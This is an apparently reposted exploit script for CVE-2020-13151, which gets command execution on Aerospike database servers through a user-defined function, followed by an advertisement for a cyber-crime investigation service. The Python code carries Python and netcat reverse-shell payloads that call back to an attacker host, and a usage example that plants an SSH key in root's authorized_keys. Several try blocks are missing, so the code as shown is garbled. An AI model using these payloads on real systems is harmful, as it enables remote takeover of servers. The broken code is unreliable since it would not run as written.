# Exploit Title: Aerospike Database - OS Command Execution
# Date: 2020-08-01
# Exploit Author: Matt S
# Vendor Homepage: https://www.aerospike.com/
# Version: <
# Tested on: Ubuntu 18.04
# CVE : CVE-2020-13151

#!/usr/bin/env python3
import argparse
import random
import os, sys
from time import sleep
import string

# requires aerospike package from pip
import aerospike
# if this isn't installing, make sure os dependencies are met
# sudo apt-get install python-dev
# sudo apt-get install libssl-dev
# sudo apt-get install python-pip
# sudo apt-get install zlib1g-dev

PYTHONSHELL = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'&"""
NETCATSHELL = 'rm /tmp/ft;mkfifo /tmp/ft;cat /tmp/ft|/bin/sh -i 2>&1|nc {ip} {port} >/tmp/ft&'

def _get_client(cfg):
  		return aerospike.client({
  			'hosts': [(cfg.ahost, cfg.aport)],
  			 'policies': {'timeout': 8000}}).connect()

	except Exception as e:
	  	print(f"unable to access cluster @ {cfg.ahost}:{cfg.aport}n{e.msg}")

def _send(client, cfg, _cmd):
		print(client.apply((cfg.namespace, cfg.setname, cfg.dummystring ), 'poc', 'runCMD', [_cmd]))
	except Exception as e:
		print(f"[-] UDF execution returned {e.msg}")

def _register_udf(client, cfg):
	except Exception as e:
		print(f"[-] whoops, couldn't register the udf {cfg.udfpath}")
		raise e

def _random_string(l):
	return ''.join([random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(l)])

def _populate_table(client, cfg):
	ns = cfg.namespace
	setname = cfg.setname
	print(f"[+] writing to {ns}.{setname}")
		rec = cfg.dummystring
		client.put((ns, setname, rec), {'pk':cfg.dummystring})
		print(f"[+] wrote {rec}")
	except Exception as e:
		print(f"[-] unable to write record: {e.msg}")
			if e.msg.startswith('Invalid namespace'):
				print("Valid namespaces: ")
				for n in _info_parse("namespaces", client).split(";"):

def _info_parse(k, client):
		return [i[1] for i in client.info_all(k).values() ][0]
	except Exception as e:
		print(f"error retrieving information: {e.msg}")
		return []

def _is_vuln(_mj, _mi, _pt, _bd):
	fixed = [5,1,0,0]
	found = [_mj, _mi, _pt, _bd]

	if fixed == found:
		return False

	for ix, val in enumerate(found):
		if val < fixed[ix]:
			return True
		elif val == fixed[ix]:
			return False

def _version_check(client):
	print("[+] aerospike build info: ", end="")
		_ver = _info_parse("build", client)
		mj, mi, pt, bd = [int(i) for i in _ver.split('.')]
		if _is_vuln(mj, mi, pt, bd):
			print("[+] looks vulnerable")
			print(f"[-] this instance is patched.")

	except Exception as e:
		print(f"[+] unable to interpret build number due to {e}")
		print("[+] continuing anyway... ")

def _exploit(cfg):
	client = _get_client(cfg)
	if not client:


	print(f"[+] populating dummy table.")
	_populate_table(client, cfg)

	print(f"[+] registering udf")
	_register_udf(client, cfg)

	if cfg.pythonshell or cfg.netcatshell:
		print(f"[+] sending payload, make sure you have a listener on {cfg.lhost}:{cfg.lport}", end="")
		for i in range(4): 
			print(".", end="")

		_send(client, cfg, PYTHONSHELL.format(ip=cfg.lhost,port=cfg.lport) if cfg.pythonshell else NETCATSHELL.format(ip=cfg.lhost,port=cfg.lport) )
	if cfg.cmd:
		print(f"[+] issuing command "{cfg.cmd}"")
		_send(client, cfg, cfg.cmd)

if __name__ == '__main__':
	if len(sys.argv) == 1:
		print(f"[+] usage examples:n{sys.argv[0]} --ahost --pythonshell --lhost= --lport=8000")
		print("... or ... ")
		print(f"{sys.argv[0]} --ahost --cmd 'echo MYPUBKEY > /root/.ssh/authorized_keys'")

	parser = argparse.ArgumentParser(description='Aerospike UDF Command Execution - CVE-2020-13151 - POC')
	parser.add_argument("--ahost", help="Aerospike host, default", default="")
	parser.add_argument("--aport", help="Aerospike port, default 3000", default=3000, type=int)
	parser.add_argument("--namespace", help="Namespace in which to create the record set", default="test")
	parser.add_argument("--setname", help="Name of set to populate with dummy record(s), default is cve202013151", default=None)
	parser.add_argument('--dummystring', help="leave blank for a random value, can use a previously written key to target a specific cluster node", default=None)
	parser.add_argument("--pythonshell", help="attempt to use a python reverse shell (requires lhost and lport)", action="store_true")
	parser.add_argument("--netcatshell", help="attempt to use a netcat reverse shell (requires lhost and lport)", action="store_true")
	parser.add_argument("--lhost", help="host to use for reverse shell callback")
	parser.add_argument("--lport", help="port to use for reverse shell callback")
	parser.add_argument("--cmd", help="custom command to issue against the underlying host")
	parser.add_argument('--udfpath', help="where is the udf to distribute? defaults to `pwd`/poc.lua", default=None)

	cfg = parser.parse_args()
	if not cfg.setname:
		cfg.setname = 'cve202013151'
	if not cfg.dummystring:
		cfg.dummystring = _random_string(16)
	if not cfg.udfpath:
		cfg.udfpath = os.path.join(os.getcwd(), 'poc.lua')

	assert cfg.cmd or (cfg.lhost and cfg.lport and (cfg.pythonshell or cfg.netcatshell)), "Must specify a command, or a reverse shell + lhost + lport"
	if cfg.pythonshell or cfg.netcatshell:
		assert cfg.lhost and cfg.lport, "Must specify lhost and lport if using a reverse shell"


Source link

Is your business effected by Cyber Crime?

If a cyber crime or cyber attack happens to you, you need to respond quickly. Cyber crime in its several formats such as online identity theft, financial fraud, stalking, bullying, hacking, e-mail fraud, email spoofing, invoice fraud, email scams, banking scam, CEO fraud. Cyber fraud can lead to major disruption and financial disasters. Contact Digitpol’s hotlines or respond to us online.

Digitpol’s Cyber Crime Investigation Unit provides investigative support to victims of cyber crimes. Digitpol is available 24/7. https://digitpol.com/cybercrime-investigation/

Europe +31558448040
UK +44 20 8089 9944
ASIA +85239733884